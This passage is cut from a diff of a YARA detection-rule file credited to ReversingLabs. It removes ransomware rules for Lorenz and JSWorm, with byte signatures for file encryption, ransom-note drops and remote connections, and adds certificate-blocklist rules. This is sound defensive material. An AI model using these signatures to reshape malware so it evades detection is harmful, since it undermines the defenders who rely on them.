"00:f5:f9:c8:f8:c3:3e:4c:e8:4d:d4:8f:cb:03:cc:b0:75" or pe.signatures [ i ] . serial == "f5:f9:c8:f8:c3:3e:4c:e8:4d:d4:8f:cb:03:cc:b0:75" ) and 1545004800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Lorenz : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_57Fc55239F21F139978609E323097132 : INFO FILE { meta: - description = "Yara rule that detects Lorenz ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "cc97dd15-d518-5d9f-9384-3dcf81e34e81" - date = "2022-10-24" - modified = "2022-10-24" + id = "e71d575c-5a30-5158-80ee-3508cdaf5636" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Lorenz.yara#L1-L252" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12610-L12626" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "b8668fcc560d264c37e3fbb52d5a5f1223a282abd9e984b3109efe9ab454be9f" + logic_hash = "030bb847e524e672ee382e0284ba3f027920f60c70bbd153d4b9cdd2669e6a99" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Lorenz" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_v1_p1 = { - BE ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? A5 6A ?? 6A ?? 68 ?? ?? ?? ?? FF B5 ?? ?? - ?? ?? A5 A5 A4 8B 35 ?? ?? ?? ?? FF D6 89 85 ?? ?? ?? ?? 33 C0 50 68 ?? ?? ?? ?? 6A - ?? 50 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D6 68 ?? ?? ?? ?? 6A ?? 6A ?? 89 85 - ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 85 C0 75 - ?? FF D6 8B 3D ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? FF D7 EB ?? 8B 3D ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 - C0 75 ?? FF D6 6A ?? FF B5 ?? ?? ?? ?? FF D7 6A ?? 6A ?? 53 FF B5 ?? ?? ?? ?? FF 15 - ?? ?? ?? ?? 85 C0 75 ?? FF D6 8D 85 ?? ?? ?? ?? 33 DB 50 53 FF B5 ?? ?? ?? ?? 68 ?? - ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF D6 53 FF B5 ?? ?? ?? ?? - FF D7 6A ?? 8D 45 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? - ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 53 8B 9D ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B - 0D ?? ?? ?? ?? 83 A5 ?? ?? ?? ?? ?? 89 4D ?? 66 8B 0D ?? ?? ?? ?? 66 89 4D ?? 8D 4D - ?? 89 85 ?? ?? ?? ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 8B B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? - ?? 6A ?? 50 2B CA 8D 45 ?? 51 50 56 FF 15 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 68 - ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 33 C0 50 50 - } - $encrypt_files_v1_p2 = { - 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 33 D2 42 3B C2 75 ?? 83 BD ?? ?? ?? ?? ?? - 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 - ?? ?? ?? ?? 33 D2 42 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 03 8D - ?? ?? ?? ?? 3B 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 6A ?? 89 8D ?? ?? ?? ?? 0F 44 C2 8D - 8D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 51 8D 4D ?? 51 6A ?? 50 6A ?? FF B5 ?? ?? ?? ?? FF - 15 ?? ?? ?? ?? 85 C0 74 ?? 83 A5 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 FF B5 ?? - ?? ?? ?? 8D 45 ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 8D 45 ?? 6A ?? 50 E8 ?? - ?? ?? ?? 83 C4 ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? - 85 C0 0F 85 ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? FF D7 FF B5 ?? ?? ?? ?? FF 15 ?? ?? - ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 53 FF D6 8B 85 ?? ?? ?? - ?? 50 FF D6 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F - 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 - } - $find_files_v1_p1 = { - FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 6A ?? 0F 57 C0 C6 45 - ?? ?? 6A ?? 6A ?? 0F 11 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 - C0 74 ?? 89 18 89 58 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 08 8B 3D ?? ?? ?? ?? - 8B B5 ?? ?? ?? ?? C6 45 ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? - 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? - 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F - 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 - ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF - D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 - C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? - ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B F0 C6 45 ?? ?? 8D 8D - } - $find_files_v1_p2 = { - 8B 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 56 8B D0 C6 45 ?? ?? 8D 4D ?? E8 - ?? ?? ?? ?? 59 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 75 ?? 68 ?? ?? ?? - ?? 0F 43 75 ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 56 50 89 85 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8B B5 ?? ?? ?? ?? 83 C4 ?? F6 85 ?? ?? ?? ?? ?? 75 ?? 56 8D 4D ?? E8 ?? ?? ?? - ?? 8D 45 ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 56 E8 - ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 59 74 ?? 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? - ?? 83 7D ?? ?? 8D 75 ?? 68 ?? ?? ?? ?? 0F 43 75 ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? - ?? 56 50 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? - ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8D 4D ?? E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? C7 45 ?? ?? - ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 - B8 ?? ?? ?? ?? C3 C7 45 ?? ?? ?? ?? ?? 33 DB 8B 85 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 89 - 85 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F - 85 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8D 8D - } - $create_scheduled_task_v1 = { - FF 15 ?? ?? ?? ?? 33 FF 85 C0 74 ?? 8B CF 8A 84 0D ?? ?? ?? ?? 88 84 0D ?? ?? ?? ?? - 41 84 C0 75 ?? 8D BD ?? ?? ?? ?? 4F 8A 47 ?? 47 84 C0 75 ?? BE ?? ?? ?? ?? A5 A5 66 - A5 33 FF 57 68 ?? ?? ?? ?? 6A ?? 57 57 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? - ?? ?? ?? 8B 4B ?? 8B F0 89 BD ?? ?? ?? ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 57 8D 85 ?? - ?? ?? ?? 2B CA 50 51 FF 73 ?? 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 83 C4 ?? 8B - F2 8A 02 42 84 C0 75 ?? 8D BD ?? ?? ?? ?? 2B D6 4F 8A 47 ?? 47 84 C0 75 ?? 8B CA C1 - E9 ?? F3 A5 8B CA 83 E1 ?? F3 A4 8D 8D ?? ?? ?? ?? 49 8A 41 ?? 41 84 C0 75 ?? 66 A1 - ?? ?? ?? ?? 33 DB 8B 35 ?? ?? ?? ?? BF ?? ?? ?? ?? 66 89 01 A0 ?? ?? ?? ?? 53 53 88 - 41 ?? 8D 85 ?? ?? ?? ?? 50 57 53 53 FF D6 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 53 53 68 - ?? ?? ?? ?? 57 53 53 FF D6 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $remote_connection_v1 = { - 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 8B - 5D ?? 8D 44 24 ?? 56 57 8B 7D ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A - ?? 6A ?? 6A ?? 58 50 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 74 ?? 6A ?? 58 53 66 89 44 24 - ?? FF 15 ?? ?? ?? ?? FF 75 ?? 89 44 24 ?? FF 15 ?? ?? ?? ?? 66 89 44 24 ?? 8D 44 24 - ?? 6A ?? 50 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 8B CF 8D 51 ?? 8A 01 41 84 C0 75 ?? - 6A ?? 2B CA 51 57 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 56 FF 15 ?? ?? ?? ?? FF 15 ?? - ?? ?? ?? 33 C0 8B 8C 24 ?? ?? ?? ?? 5F 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5 5D C2 - } - $check_mutex_v1 = { - E8 ?? ?? ?? ?? 59 59 56 C6 45 ?? ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 85 ?? - ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? 50 FF B5 - ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 7D ?? ?? 7E ?? 8B 57 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? - ?? ?? 59 FF 77 ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B C8 C6 45 ?? ?? E8 ?? ?? ?? - ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8D 85 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 50 56 FF D3 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? - 56 FF 15 ?? ?? ?? ?? 8B F8 FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 94 C0 85 FF 74 ?? 84 - C0 74 ?? 57 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 56 - } - $find_files_v2 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 83 EC ?? 53 - 56 57 89 65 ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 EC ?? C6 45 - ?? ?? 8D 4D ?? 54 E8 ?? ?? ?? ?? 83 EC ?? 8D 4D ?? 54 E8 ?? ?? ?? ?? 83 EC ?? 8D 4D - ?? 54 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? E8 ?? - ?? ?? ?? 83 EC ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 8D 4D ?? - 3B 45 ?? 0F 87 ?? ?? ?? ?? 83 EC ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? - 51 50 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B F0 8D 45 ?? 3B C6 74 ?? 8B 45 ?? 83 F8 - ?? 72 ?? 6A ?? 40 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 56 - 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B - 7D ?? 33 F6 8B 5D ?? 83 FE ?? 73 ?? 8B 0C B5 ?? ?? ?? ?? 8D 45 ?? 83 FF ?? 0F 43 C3 - 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 - ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 74 ?? 46 EB ?? 8D 4D ?? E8 ?? ?? - ?? ?? B0 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C2 ?? ?? 8D 4D ?? E8 ?? - ?? ?? ?? 8B 4D ?? 32 C0 5F 5E 64 89 0D ?? ?? ?? ?? 5B 8B E5 5D C2 ?? ?? 8D 45 - } - $encrypt_files_v2_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 51 B8 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 53 56 57 C7 45 ?? ?? ?? ?? ?? 8B F1 8B 7D ?? 8D 4D ?? 89 65 ?? - 57 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 8B CE 50 E8 - ?? ?? ?? ?? 8B D8 C6 45 ?? ?? 8D 4D ?? 89 5D ?? E8 ?? ?? ?? ?? 8B 75 ?? 56 E8 ?? ?? - ?? ?? 83 C4 ?? 56 53 50 E8 ?? ?? ?? ?? 8B 75 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 - 50 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 83 C4 ?? 49 0F 1F 40 ?? 8A 41 ?? 8D 49 ?? 84 C0 - 75 ?? A1 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 08 89 ?? ?? ?? ?? 4E 00 6A ?? 6A ?? 89 41 ?? - A1 ?? ?? ?? ?? ?? ?? ?? ?? 08 A0 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? 88 - 41 ?? FF D6 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 50 FF D6 68 ?? ?? ?? ?? 6A ?? 6A ?? 89 45 ?? 8D 45 ?? 6A ?? 50 FF 15 ?? ?? - ?? ?? 8B 35 ?? ?? ?? ?? 85 C0 75 ?? FF D6 8B 1D ?? ?? ?? ?? 6A ?? FF 75 ?? FF D3 EB - ?? 8B 1D ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? - ?? 85 C0 75 ?? FF D6 6A ?? FF 75 ?? FF D3 6A ?? 6A ?? 57 FF 75 ?? FF 15 ?? ?? ?? ?? - 85 C0 75 ?? FF D6 8D 45 ?? 50 6A ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? - ?? 85 C0 75 ?? FF D6 6A ?? FF 75 ?? FF D3 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 - } - $encrypt_files_v2_p2 = { - E8 ?? ?? ?? ?? 8B 7D ?? 83 C4 ?? 33 F6 C7 45 ?? ?? ?? ?? ?? 33 DB 89 5D ?? 56 57 FF - 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 4D ?? 66 8B 0D ?? ?? 4E 00 66 89 4D ?? 8D 4D ?? - 89 45 ?? 8D 51 ?? 89 5D ?? 8A 01 41 84 C0 75 ?? 6A ?? 8D 45 ?? 2B CA 50 51 8D 45 ?? - 50 FF 75 ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? FF 75 ?? FF 75 ?? FF - 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? - ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 66 0F 1F 44 00 ?? 8B 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 03 - F0 33 C9 3B 75 ?? 75 ?? 85 C9 75 ?? 33 DB 83 F8 ?? 0F 95 C3 68 ?? ?? ?? ?? 8D 45 ?? - 50 8D 85 ?? ?? ?? ?? 50 6A ?? 53 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? - 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 FF 75 ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? - ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? - 8D 45 ?? 6A ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F - 85 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? - FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 57 FF D6 FF 75 ?? FF D6 8B 4D ?? 5F 5E 64 89 0D - ?? ?? ?? ?? 5B 8B E5 5D C2 ?? ?? 8D 45 - } - $remote_connection_v2 = { - 55 8B EC 51 53 56 57 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF - 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B F0 68 ?? ?? ?? ?? 56 - FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D8 6A ?? - 53 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B F8 6A ?? 57 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? - 8D 45 ?? 50 57 FF 15 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? FF D6 53 FF D6 57 FF D6 5F 5E - 33 C0 5B 8B E5 5D C3 - } - $drop_ransom_note_v2_p1 = { - 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 89 45 ?? - C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 6A ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 - 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 85 C0 74 ?? C7 00 ?? ?? ?? ?? C7 - 40 ?? ?? ?? ?? ?? 8B 45 ?? 8D 4D ?? 89 08 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 - ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 68 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? ?? ?? ?? ?? 87 FB 00 00 00 A0 ?? ?? - ?? ?? 88 87 ?? ?? ?? ?? 8B F7 8D 4E ?? 0F 1F 40 ?? 8A 06 46 84 C0 75 ?? 2B F1 8D 46 - ?? 50 E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 85 DB 74 ?? 56 57 53 E8 ?? ?? ?? ?? 6A ?? 8D 04 - 33 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F3 8D 4E ?? 0F 1F 44 00 ?? 8A 06 46 - 84 C0 75 ?? 2B F1 8D 86 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 56 - 53 57 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 04 37 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 - ?? 8B F7 8D 4E ?? 8A 06 46 84 C0 75 ?? 2B F1 8D 86 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B - D8 83 C4 ?? 85 DB 74 ?? 56 57 53 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 04 33 68 ?? ?? ?? - ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F3 8D 4E ?? 8A 06 46 84 C0 75 ?? 2B F1 8D 46 ?? 50 - } - $drop_ransom_note_v2_p2 = { - E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 56 53 57 E8 ?? ?? ?? ?? 6A ?? 8D 04 37 68 - ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F7 8D 4E ?? 0F 1F 00 8A 06 46 84 C0 75 ?? - 2B F1 8D 46 ?? 50 E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 85 DB 74 ?? 56 57 53 E8 ?? ?? ?? ?? - F3 0F 7E 05 ?? ?? ?? ?? 83 C4 ?? 66 0F D6 04 33 8B F3 8D 4E ?? 8A 06 46 84 C0 75 ?? - 2B F1 8D 46 ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 56 53 57 E8 ?? ?? ?? ?? - 6A ?? 8D 04 37 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F7 8D 4E ?? 8A 06 46 84 - C0 75 ?? 2B F1 8D 46 ?? 50 E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 85 DB 74 ?? 56 57 53 E8 ?? - ?? ?? ?? 6A ?? 8D 04 33 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F3 8D 4E ?? 66 - 90 8A 06 46 84 C0 75 ?? 2B F1 8D 46 ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? - 56 53 57 E8 ?? ?? ?? ?? 6A ?? 8D 04 37 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B - CF 5B 8D 51 ?? 0F 1F 40 ?? 8A 01 41 84 C0 75 ?? 8B 75 ?? 8D 45 ?? 6A ?? 50 2B CA 51 - 57 56 FF 15 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 56 FF 15 ?? ?? ?? ?? 8D 4D - ?? E8 ?? ?? ?? ?? 8B 4D ?? 5F 5E 64 89 0D ?? ?? ?? ?? 8B E5 5D C2 - } - condition: - uint16( 0 ) == 0x5A4D and ( ( ( all of ( $encrypt_files_v1_p* ) ) and ( all of ( $find_files_v1_p* ) ) and ( $create_scheduled_task_v1 ) and ( $remote_connection_v1 ) and ( $check_mutex_v1 ) ) or ( ( $find_files_v2 ) and ( all of ( $encrypt_files_v2_p* ) ) and ( $remote_connection_v2 ) and ( all of ( $drop_ransom_note_v2_p* ) ) ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Aidem Media Limited" and pe.signatures [ i ] . serial == "57:fc:55:23:9f:21:f1:39:97:86:09:e3:23:09:71:32" and 1501632000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Jsworm : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_Eeefec4308Abe63323600E1608F5E6F2 : INFO FILE { meta: - description = "Yara rule that detects JSWorm ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "a4702cc3-1e08-5631-b832-5d28cb92a819" - date = "2020-06-26" - modified = "2020-07-15" + id = "265f70f4-f8cf-52cf-8d9b-ddfefb8a1b79" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.JSWorm.yara#L1-L93" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12628-L12646" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8ba5e2f29f5f06e6e6714bbba1129862da8c3a83bf7f296818eddee2593cae38" + logic_hash = "71ab4bd7e85155bfbc1612941c5f15c409629b116258c38b79bd808512df006a" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "JSWorm" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 